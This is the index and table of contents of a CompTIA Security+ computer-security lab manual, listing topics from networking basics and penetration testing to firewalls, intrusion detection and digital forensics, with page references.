Domain Name System (DNS) sessions capturing, 44–45 examining, 45–46 resolv.conf file, 13
drives forensic duplicates, 309–310 for images, 311 mapping, 285
dual-stack operations in IPv6, 26 Dynamic Host Configuration Protocol (DHCP), 7
E e-mail encryption. See GPG (Gnu Privacy Guard) tool e-mail protocols
analysis questions, 80–81 follow-up labs, 81 key terms quiz, 81 Linux, 76–80 overview, 71 references, 81–82 suggested experiment, 81 Windows, 71–76
e-mail system exploits analysis questions, 138–139 follow-up labs, 140 key terms quiz, 139 learning objectives, 133 overview, 132–133 references, 140 suggested experiment, 140 Windows, 133–138
encrypted messages, sending, 203–204 encryption
Diffie-Hellman, 208 GPG. See GPG (Gnu Privacy Guard) tool IPsec, 243 SCP, 220 tunnels, 243
Enforce Password History Properties dialog box, 177 Entrust certificate authority, 232 enumerating
networks, 86 operating systems, 92 ports, 87
ephemeral ports, 54 established state of TCP ports, 49 Ettercap program
description, 150–151 FTP session capturing, 154–155 output, 155–156 running, 153
Event Properties dialog box, 260–262
Index.indd 323 11/10/10 12:57:28 PM
Index324
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
Event Viewer, 260–261 events, 256 exchanging keys, 200–201 exploits
CVE database, 103 e-mail system, 132–140 payloads, 107 running, 110–111 web browsers, 127–132
exporting public keys, 197–198, 200 extensions, 62
F false negatives in Snort, 270 false positives in Snort, 270 File Download dialog box, 137 File Transfer Protocol (FTP)
analysis questions, 69–70 follow-up lab, 70 key terms quiz, 70 Linux, 65–69 overview, 60–61 references, 70–71 session capturing, 154–155 suggested experiment, 70 Windows, 61–65
File Transfer Protocol (FTP) connections analyzing, 49 establishing, 51, 54 Telnet, 92
File Type mode in Autopsy Forensic Browser, 317 files
analysis, 314 creating, 285–286 deleting, 288–289 hosts, 19, 21–22 log. See log files shadow, 216
filters computer communications, 40–41, 43–44 firewall, 186 scan analysis, 91–92
FIN bit in TCP packets, 37 fingerprinting, stack, 87 fingerprints, digital, 310 Firefox, web page viewing in, 68–69 Firefox Preferences dialog box, 235 firewalls
analysis questions, 189 key terms quiz, 189–190 learning objectives, 186 Linux, 186–189
overview, 186 reference, 190 suggested experiment, 190 Windows Firewall, 173–174 Windows XP hardening, 169–170
forensic analysis analysis questions, 318 key terms quiz, 318 learning objectives, 314 overview, 314 references, 319 suggested experiments, 318–319 Windows, 315–317
forensic duplicates of drives, 309 forensic soundness, 303 forensics, digital
data acquisition, 309–313 forensic analysis. See forensic analysis incident determination, 303–309 overview, 301–302
FORWARD rules, 187 fport utility, 57, 307 FQDNs (fully qualified domain names), 19, 22–23 FTL Imager, 311 FTP. See File Transfer Protocol (FTP) full backups
configuring and running, 286–287 description, 283 restoring, 289–290, 297–298
fully qualified domain names (FQDNs), 19, 22–23
G gateway router addresses, 13 gateways, 5 global unicast addresses, 27 Google for vulnerability searches, 104–105 GPG (Gnu Privacy Guard) tool
analysis questions, 206 key terms quiz, 207 learning objectives, 193 overview, 192–193 references, 208 suggested experiments, 207 Windows, 193–206
GUI-based vulnerability scanners analysis questions, 101–102 follow-up labs, 102 key terms quiz, 102 learning objectives, 96 OpenVAS, 96–100 overview, 96 references, 102 suggested experiments, 102
Index.indd 324 11/10/10 12:57:28 PM
Index 325
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
H hardening operating systems. See network operating
system hardening hashes
fingerprints, 310 messages, 192 passwords, 113, 124–125 rainbow tables, 123
headers in IDS rules, 277 helo command in SMTP, 73, 77 help for commands, 12–13 hidden data analysis, 314 host addresses in IP, 5 host-based firewalls, 186 host keys in SSH, 210–211, 214–216 host-to-host VPN configuration, 243 host-to-server VPN configuration, 243 hosts file, 19, 21–22 .htm and .html extensions, 62 HTML (Hypertext Markup Language)
description, 61 for web pages, 66
HTTP. See Hypertext Transfer Protocol (HTTP) HTTPS protocol, 232 hybrid attacks, 113 Hypertext Markup Language (HTML)
description, 61 for web pages, 66
Hypertext Transfer Protocol (HTTP) description, 61 FTP. See File Transfer Protocol (FTP) security risks, 232 three-way handshakes, 38
Hypertext Transfer Protocol (HTTP) connections analyzing, 49 establishing, 51, 54
I “I love you” virus, 132 ICMP (Internet Control Message Protocol)
description, 36 for ping, 5
ICMPv6, 26 IDS. See intrusion detection system (IDS) ifconfig command, 5, 12–14 images
creating, 312 drives for, 311
IMAPv4 (Internet Message Access Protocol version 4), 71 Import Template dialog box, 176 importing public keys, 201–203 in-house certificate authorities, 232
incident determination analysis questions, 308 follow-up lab, 309 key terms quiz, 308–309 learning objectives, 303 overview, 303 references, 309 suggested experiments, 309 Windows, 304–308
incomplete mediation, 122 incremental backups, 283 index.html file, 67 Info column in Wireshark, 42 INPUT rules, 187 installed trusted root certificate authorities, 235 installing
backuppc, 292–294 Camouflage, 159–160 certificates, 237–238 IPv6, 28 keyloggers, 305–306 McAfee AntiVirus, 182–184 NetBus Trojan, 304–305 service packs, 171–172 Snort, 271–272 Spy-net, 144 WinPcap, 272 WinPT, 196–200 WinSCP, 227–228
Internet Connection Wizard, 134 Internet Control Message Protocol (ICMP)
description, 36 for ping, 5
Internet Explorer, 63–65 Internet Message Access Protocol version 4 (IMAPv4), 71 Internet Protocol (IP) addresses, 5
changing, 9 computer name resolution, 19 documenting, 152–153 IPv6. See IPv6 addresses scanning, 86 verifying, 9 Windows XP machines, 8–9
Internet Protocol Properties window, 8 Internet Protocol Security (IPsec)
analysis questions, 250 key terms quiz, 251 learning objectives, 243 overview, 242–243 policies, 245–249 references, 251 suggested experiments, 251 Windows, 244–250
Index.indd 325 11/10/10 12:57:28 PM
Index326
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
intrusion detection system (IDS) analysis questions, 281 key terms quiz, 281–282 learning objectives, 270 overview, 269–270 references, 282 suggested experiments, 282 Windows, 270–280
IP addresses. See Internet Protocol (IP) addresses; IPv6 addresses
IP Security Policy Management snap-in, 246 ipconfig command, 5
DNS cache, 22 IP addresses, 7–9, 152 network card configuration, 7–8
IPsec. See Internet Protocol Security (IPsec) iptables, 186–187 IPv6 addresses
analysis questions, 32 changing, 30–31 installing, 28 key terms quiz, 32–33 learning objectives, 27 overview, 26–27 pinging, 30–31 references, 33 resetting, 32 verifying settings, 28–29 Windows, 27–32 Wireshark for, 30–32
J John the Ripper tool, 115–117
K Key Manager dialog box, 197–198, 200 key pair generation, 196–197, 199–200 keyloggers, 305–306 keys
Diffie-Hellman, 208–209 encryption, 192–193 exchanging, 200–201 exporting, 197–198, 200 importing, 201–203 passphrases, 238 retrieving, 222, 226 saving, 201–202 SCP, 220 signing, trusting, and verifying, 202–203
Keyword Search mode in Autopsy Forensic Browser, 317 Konsole shell, 54–55 Konsole window, 109
L Length field in UDP protocol, 44 less command, 116 LHOST, 129 link-local unicast addresses, 26 Linux
backups and restores, 292–298 certificates and SSL, 234–241 FTP, 65–69 personal firewalls, 186–189 port connection status, 52–56 SCP, 221–225 SMTP and POP3 protocols, 76–80 SSH, 209–213 system log analysis, 262–267 web SQL injection, 123–126 workstations client configuration, 11–16
listening state of TCP ports, 49 Live Analysis, 302
data acquisition, 309–313 forensic analysis, 314–319 incident determination, 303–309 starting and running, 306–308
Local Area Connection Properties dialog box, 8–9 Local Area Connection Status window, 8–9 localhost addresses, 19 log entries, 256 log files
analysis. See system log analysis checking, 138 defined, 256 firewall, 188 IDS, 273–276, 278
Log Off Windows dialog box, 11 log priority level, 263 loopback addresses, 19, 21 LPORT, 129
M MAC (Media Access Control) addresses, 5
documenting, 152–153 Ettercap program output, 155–156 MITM attacks, 150
Make Cert program, 97 malware, deploying, 184 man command, 12–13 man-in-the-middle (MITM) attacks
analysis questions, 157 follow-up lab, 157 key terms quiz, 157 learning objectives, 151 overviews, 150–151
Index.indd 326 11/10/10 12:57:29 PM
Index 327
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
references, 158 steps, 151–156 suggested experiments, 158
Map Network Drive dialog box, 285 mapping network drives, 285 masks, subnet, 5 McAfee AntiVirus program, 182–184 MD5 hashing algorithm, 310 Media Access Control (MAC) addresses, 5
documenting, 152–153 Ettercap program output, 155–156 MITM attacks, 150
messages creating and hiding, 160–161 decrypted, 204–205 encrypted, 203–204 hashes, 192 retrieving, 162–163 uploading, 161–162
Metasploit Framework (MSF) tool analysis questions, 112 follow-up lab, 112 key terms quiz, 112 learning objectives, 107–108 overview, 107–108 references, 113 steps, 108–111 suggested experiments, 112
Meterpreter tool, 108–111 MITM Attack dialog box, 153 MITM attacks. See man-in-the-middle (MITM) attacks MITRE Corporation, 103 msfconsole command, 109–110 msfupdate command, 109 multicast addresses, 26
N name resolution. See computer name resolution Neighbor Discovery (ND) messages, 26 Neighbor Solicitation (NS) messages, 26 NetBus Trojan
description, 142 installing and running, 304–305
netfilter system, 186 netsh interface ipv6 install command, 28 netsh interface ipv6 reset command, 32 netsh interface ipv6 set address command, 30 netsh interface ipv6 show address command, 28–29 netstat utility
FTP and HTTP connections, 49, 54 gateway router addresses, 13 open ports, 50–51, 53
port connection status, 49 server connections, 51–52
network addresses, 5 network applications
e-mail protocols. See e-mail protocols FTP. See File Transfer Protocol (FTP) overview, 59–60
network card configuration Linux, 12–14 Windows, 7–8
network communication analysis analysis questions, 47 follow-up labs, 48 key terms quiz, 47–48 learning objectives, 38 overview, 36–38 references, 49 suggested experiments, 48 Windows, 39–46
network communications certificates and SSL. See certificates and SSL GPG. See GPG (Gnu Privacy Guard) tool IPsec. See Internet Protocol Security (IPsec) overview, 191–192 SCP. See Secure Copy (SCP) SSH. See Secure Shell (SSH)
network drive mapping, 285 network layer, IPsec at, 243 network operating system hardening
antivirus applications, 180–186 firewalls, 186–190 learning objectives, 169 overview, 168–169 Windows XP. See Windows XP operating system
hardening network shares, 285 network transports
network communication analysis. See network communication analysis
overview, 35–36 port connection status, 49–58
New User dialog box, 177 Nmap utility
description, 86 enumerating operating systems, 92 scanning open TCP ports, 90 in Windows, 87–93
nonrepudiation, 193 normal backups, 283 Notepad for hosts file, 21–22 nslookup command, 19
computer name resolution, 23–24 DNS sessions, 45
Index.indd 327 11/10/10 12:57:29 PM
Index328
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
O octets in IP addresses, 5 on-demand scanning, 180 open ports
netstat for, 50–51, 53 Nmap for, 90
Open Vulnerability Assessment System (OpenVAS) tool, 96–100
operating systems enumerating, 92 hardening. See network operating system hardening
Options field in TCP packets, 38 Outlook Express
client setup, 195–196, 198–199 configuring, 134–135 e-mail retrieval, 137
OUTPUT rules, 187
P Packet Internet Groper. See ping (Packet Internet Groper)
program Packet list section in Wireshark, 41 packets
firewalls, 187 TCP, 37–38 UDP, 44–45
Padding field in TCP packets, 38 passphrases for server keys, 238 password cracking
analysis questions, 117–118 follow-up lab, 118 key terms quiz, 118 learning objectives, 114 overview, 113–114 references, 119 steps, 114–117 suggested experiments, 118
passwords e-mail accounts, 195 hashes, 113, 124–125 rainbow tables, 125–126
patches, 169 payloads
malicious software, 133 Metasploit, 107
penetration testing, 85–86 GUI-based vulnerability scanners, 96–102 Metasploit for, 107–113 password cracking, 113–119 service identity determination, 86–95 system vulnerabilities research, 103–107
Perform Analysis dialog box, 176–177 personal firewalls, 186–189 ping (Packet Internet Groper) program
in computer name resolution, 20–22 Linux workstations client configuration, 14–15 purpose, 5 session capturing, 40–41 Windows workstations client configuration, 9–10
ping6 command, 30–31 plaintext, 192 plugins
OpenVAS, 96, 99 penetration testing, 108
Poison Ivy Trojan, 142 poisoning, ARP, 150–151, 155–156 policies in IPsec, 245–249 pop-up pages, 170 POPv3 protocol. See Simple Mail Transfer Protocol (SMTP)
and Post Office Protocol version 3 (POPv3) protocols port connection status
analysis questions, 56 follow-up lab, 57 key terms quiz, 57 learning objectives, 49 Linux, 52–56 overview, 49 references, 58 suggested experiments, 57 Windows, 49–52
ports enumerating, 87 open, 50–51, 53, 90 scanning, 86, 90 TCP. See Transmission Control Protocol (TCP) ports tracing, 55 well-known, 54
Post Office Protocol. See Simple Mail Transfer Protocol (SMTP) and Post Office Protocol version 3 (POPv3) protocols
Preferences dialog box, 235 preprocessor in Snort, 270, 273–276, 278 priority levels for logs, 263 private keys, 192 Protocol column in Wireshark, 42 protocol identification, 46 PSH bit in TCP packets, 37 public certificate authorities, 232 public key encryption, 192–193 public keys, 192
exporting, 197–198, 200 importing, 201 saving, 201–202 SCP, 220
Index.indd 328 11/10/10 12:57:30 PM
Index 329
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
Publilius Syrus, 253 PuTTY program, 215–217
R rainbow tables, 123, 125–126 rcp command, 220 real-time scanning, 180 remote access to Trojans, 142 remote locations for backups, 283 remote logging servers in system log analysis, 262 remote shell (rsh), 208 resolution, computer name. See computer name resolution resolv.conf file, 13 restores, 283
differential backups, 290–291 full backups, 289–290, 297–298
root certificate authorities, 235 router addresses, 13 rsh (remote shell), 208 RST bit in TCP packets, 37 rules and rulesets
firewall, 186–187 IDS, 277–280 Snort, 270
Run Command utility, 66–67 Run dialog box, 144
S Save Capture File Before Starting a New Capture? dialog
box, 90–91 Save Picture As dialog box, 163 saving public keys, 201–202 scanners. See GUI-based vulnerability scanners scans and scanning
antivirus, 180 for hosts, 86 networks, 89 open ports, 90 with OpenVAS, 97–98, 100 Xmas, 273–276, 278
SCP. See Secure Copy (SCP) script kiddies, 103 searching CVE database, 105–106 Secure Copy (SCP)
analysis questions, 230–231 client configuration, 222–223, 227–228 key terms quiz, 231 learning objectives, 220 Linux, 221–225 overview, 220 references, 231
suggested experiment, 231 Windows, 225–230
Secure Server (Require Security) Properties dialog box, 245–248
Secure Shell (SSH) analysis questions, 218 clients, 210–211 follow-up lab, 219 host key retrieval, 222, 226 key terms quiz, 219 learning objectives, 209 Linux, 209–213 overview, 208 PuTTY client, 215–217 references, 220 suggested experiment, 219 Windows, 214–218
Secure Sockets Layer (SSL) protocol, 232 and certificates. See certificates and SSL for web servers, 238–239 web site testing with, 240–241
Security Center utility, 169, 172–175 Security Configuration and Analysis snap-in, 176–177 security templates, 169, 176–177 send command, 64 Sequence Number field in TCP packets, 37 server files in NetBus, 142 server keys
passphrases, 238 retrieving, 222, 226 SSH, 210–211, 214–216
server-to-server VPN configuration, 243 servers
logs on, 138 Trojans, 142
service identity analysis questions, 93–94 follow-up labs, 95 key terms quiz, 94–95 learning objectives, 87 overview, 86–87 references, 95 suggested experiments, 95 Windows, 87–93
service packs description, 169 installing, 171–172
sessions, capturing DNS, 44–45 FTP, 154–155 ping, 40–42 SSH, 211–213, 215–217, 223–225, 228–230, 249–250 Telnet, 46
Index.indd 329 11/10/10 12:57:30 PM
Index330
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
sessions, HTTP and FTP, 52 SHA1 hashing algorithm, 310 shadow files, 216 shares, network, 285 signatures
databases of, 180–181 qualities of, 87 Snort attacks, 270
signing certificate signing requests, 237 e-mail. See GPG (Gnu Privacy Guard) tool keys, 202–203
signing requests creating, 236–237 signing, 237
Simple Mail Transfer Protocol (SMTP) and Post Office Protocol version 3 (POPv3) protocols, 71
analysis questions, 80–81 follow-up labs, 81 key terms quiz, 81 Linux, 76–80 references, 81–82 server connections, 135 suggested experiment, 81 Windows, 71–76
SMTP banner connections, 92 sniffers in Snort, 269, 272–273 Snort IDS
installing, 271–272 overview, 269–270 Windows, 270–280
social engineering, 132–133 sockets, 52 Source column in Wireshark, 42 source MAC addresses, 156 Source Port field
TCP packets, 37 UDP packets, 44
spoofing e-mail addresses, 132, 135 Spy-net Trojan
analysis questions, 149 follow-up labs, 150 key terms quiz, 149 overview, 142–143 references, 150 steps, 144–148 suggested experiments, 150
SQL (Structured Query Language), 122 SQL injection. See web SQL injection SRVHOST option, 129 SRVPORT option, 129 SSH. See Secure Shell (SSH) ssh-keygen command, 222, 226
SSL (Secure Sockets Layer) protocol, 232 and certificates. See certificates and SSL for web servers, 238–239 web site testing with, 240–241
SSL Setup dialog box, 98 stack fingerprinting, 87 Standalone Snap-in dialog box, 245, 248 startx command, 54 stateless protocols, 150 states for TCP ports, 49 stealth port scans, 91 steganography
analysis questions, 163 follow-up lab, 164 key terms quiz, 164 learning objectives, 158 overview, 158 references, 164 suggested experiment, 164 Windows, 159–163
Structured Query Language (SQL), 122 Structured Query Language (SQL) injection. See web SQL injection
subnet masks, 5 SubSeven Trojan, 142 Sun Tzu, 83 superusers, 292 symmetric encryption, 192 symmetric keys
Diffie-Hellman, 208 SCP, 220
SYN bit in TCP packets, 37–38 synchronize (SYN) packets, 38 syslog system, 263–264 syslogd daemon, 264 system log analysis
analysis questions, 267–268 key terms quiz, 268–269 learning objectives, 256 Linux, 262–267 log files examination, 266–267 overview, 256 references, 269 suggested experiments, 269 Windows, 257–262
system vulnerabilities research analysis questions, 106 follow-up labs, 107 key terms quiz, 107 learning objectives, 103 overview, 103 references, 107 steps, 103–106 suggested experiment, 107
Index.indd 330 11/10/10 12:57:31 PM
Index 331
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
T tags, HTML, 62, 66 TCP. See Transmission Control Protocol (TCP) TCP/IP (Transmission Control Protocol/Internet Protocol),
4–5, 8–9 Telnet
mail servers, 72–80 server connections, 92 sessions, 46 TCP connections, 71
templates, security, 169, 176–177 testing
firewalls, 188 IDS rules, 279–280 IPsec settings, 249 log settings, 259 penetration. See penetration testing web sites, 240–241 Windows XP new features, 174–175
The Sleuth Kit (TSK), 314 3DES encryption, 211 three-way handshakes
HTTP protocol, 38 TCP, 36
Time column in Wireshark, 42 time frame analysis, 314 time to live (TTL), 5 TLS (Transport Layer Security), 232 tracing ports, 55 Transmission Control Protocol (TCP)
connection status, 49 description, 36 packets, 37–38 three-way handshakes, 36
Transmission Control Protocol (TCP) ports, 208, 232 Nmap for, 90 states, 49 TCP port 21, 156 TCP port 22, 208, 212, 216 TCP port 25, 71 TCP port 80, 91–92 TCP port 110, 71 TCP port 143, 71 TCP port 443, 232, 241
Transmission Control Protocol/Internet Protocol (TCP/IP), 4–5, 8–9
Transport Layer Security (TLS), 232 transport method in IPsec, 243 transports, network
network communication analysis. See network communication analysis
overview, 35–36 port connection status, 49–58
traversal attacks, directory, 273–276, 278
Tree view section in Wireshark, 42 Triple DES, 211 Trojans, 142–143
installing and running, 304–305 learning objectives, 143 Spy-net, 143–150
trusted root certificate authorities, 235 trusting keys, 202–203 TSK (The Sleuth Kit), 314 TTL (time to live), 5 tunnels in VPN, 243
U UDP (User Datagram Protocol)
connection status, 49 description, 36 fields, 44–45
Un-Complicated Firewall (ufw), 186–189 unicast addresses, 26–27 uploading
FTP for, 60 messages, 161–162 web pages, 63–64, 68
URG bit in TCP packets, 37 Urgent Pointer field in TCP packets, 38 User Datagram Protocol (UDP)
connection status, 49 description, 36 fields, 44–45
V vectors of attacks, 132 verifying
IP addresses, 9 IPv6 settings, 28–29 keys, 202–203
VeriSign certificate authority, 232 virtual private networks (VPNs), 242–243 volatile data, Live Analysis for, 303 vulnerability scanners. See GUI-based vulnerability
scanners
W Warning dialog box, 153, 305 web browser exploits
analysis questions, 131 follow-up labs, 131 key terms quiz, 131 learning objective, 127 overview, 127 references, 132 steps, 127–130 suggested experiments, 132
Index.indd 331 11/10/10 12:57:31 PM
Index332
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Index
web pages creating, 62, 66, 222–223, 226, 239 uploading, 63–64, 68 viewing, 63–65, 68–69
web servers SSL for, 238–239 Telnet connections, 92
web site testing, 240–241 web SQL injection
analysis questions, 126 key terms quiz, 126–127 learning objectives, 123 Linux, 123–126 overview, 122–123 references, 127 suggested experiment, 127
well-known ports, 54 wikis
description, 123 web SQL injection, 124–125
Window field in TCP packets, 37 Windows
antivirus applications, 181–184 backups and restores, 284–291 computer name resolution, 20–26 data acquisition, 310–312 e-mail system exploits, 133–138 forensic analysis, 315–317 FTP, 61–65 GPG, 193–206 IDS, 270–280 incident determination, 304–308 IPsec, 244–250 IPv6, 27–32 network communication analysis, 39–46 port connection status, 49–52 SCP, 225–230 service identity, 87–93 SMTP and POP3 protocols, 71–76 SSH, 214–218 steganography, 159–163 system log analysis, 257–262 workstations client configuration, 6–11
Windows Backup interface, 286–287 Windows Firewall, 173–174
Windows Forensic Toolchest (WFT), 309 Windows Security Center screen, 172–175 Windows XP machines, IP addresses for, 8–9 Windows XP operating system hardening
analysis questions, 178–179 follow-up lab, 180 key terms quiz, 179 new features exploration, 172–174 new features testing, 174–175 overview, 169–170 reference, 180 security templates, 176–177 service packs, 171–172 suggested experiments, 180
WinPcap, 272 WinPT, 196–200 WinSCP, 220, 227–228 Wireshark protocol analyzer
description, 36 with Ettercap, 153–155 IPv6 addresses, 30–32 network communication analysis, 40–46 with Nmap, 88–90 output, 88–89 scan analysis, 91 SSH sessions, 211–213, 215–217, 223–225, 228–230,
249–250 workstations, 3–4
computer name resolution, 20–26 IPv6. See IPv6 addresses
workstations client configuration analysis questions, 16 follow-up labs, 18 key terms, 17 learning objectives, 6 Linux, 11–16 overview, 5–6 references, 18–19 suggested experiments, 18 Windows, 6–11
worms. See antivirus applications
X Xmas scans, 273–276, 278
Index.indd 332 11/10/10 12:57:31 PM
- Contents
- Acknowledgments
- Introduction
- Additional Resources for Teachers
- Part I: Networking Basics: How Do Networks Work?
- Chapter 1 Workstation Network Configuration and Connectivity
- Lab 1.1: Network Workstation Client Configuration
- Lab 1.2: Computer Name Resolution
- Lab 1.3: IPv6 Basics
- Chapter 2 Network Transports
- Lab 2.1: Network Communication Analysis
- Lab 2.2: Port Connection Status
- Chapter 3 Network Applications
- Lab 3.1: FTP Communication (FTP-HTTP)
- Lab 3.2: E-Mail Protocols: SMTP and POP3
- Part II: Vulnerabilities and Threats: How Can Systems Be Compromised?
- Chapter 4 Penetration Testing
- Lab 4.1: IP Address and Port Scanning, Service Identity Determination
- Lab 4.2: GUI-Based Vulnerability Scanners
- Lab 4.3: Researching System Vulnerabilities
- Lab 4.4: Using Metasploit
- Lab 4.5: Password Cracking
- Chapter 5 Attacks Against Applications
- Lab 5.1: Web SQL Injection
- Lab 5.2: Web Browser Exploits
- Lab 5.3: E-Mail System Exploits
- Chapter 6 More Attacks: Trojan Attacks, MITM, Steganography
- Lab 6.1: Trojan Attacks
- Lab 6.2: Man-in-the-Middle Attack
- Lab 6.3: Steganography
- Part III: Prevention: How Do We Prevent Harm To Networks?
- Chapter 7 Hardening The Host Computer
- Lab 7.1: Hardening the Operating System
- Lab 7.2: Using Antivirus Applications
- Lab 7.3: Using Firewalls
- Chapter 8 Securing Network Communications
- Lab 8.1: Using GPG to Encrypt and Sign E-Mail
- Lab 8.2: Using Secure Shell (SSH)
- Lab 8.3: Using Secure Copy (SCP)
- Lab 8.4: Using Certificates and SSL
- Lab 8.5: Using IPsec
- Part IV: Detection and Response: How Do We Detect and Respond to Attacks?
- Chapter 9 Preparing for and Detecting Attacks
- Lab 9.1: System Log Analysis
- Lab 9.2: Intrusion Detection Systems
- Lab 9.3: Backing Up and Restoring Data
- Chapter 10 Digital Forensics
- Lab 10.1: Live Analysis: Incident Determination
- Lab 10.2: Acquiring the Data
- Lab 10.3: Forensic Analysis
- Index
- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- N
- O
- P
- R
- S
- T
- U
- V
- W
- X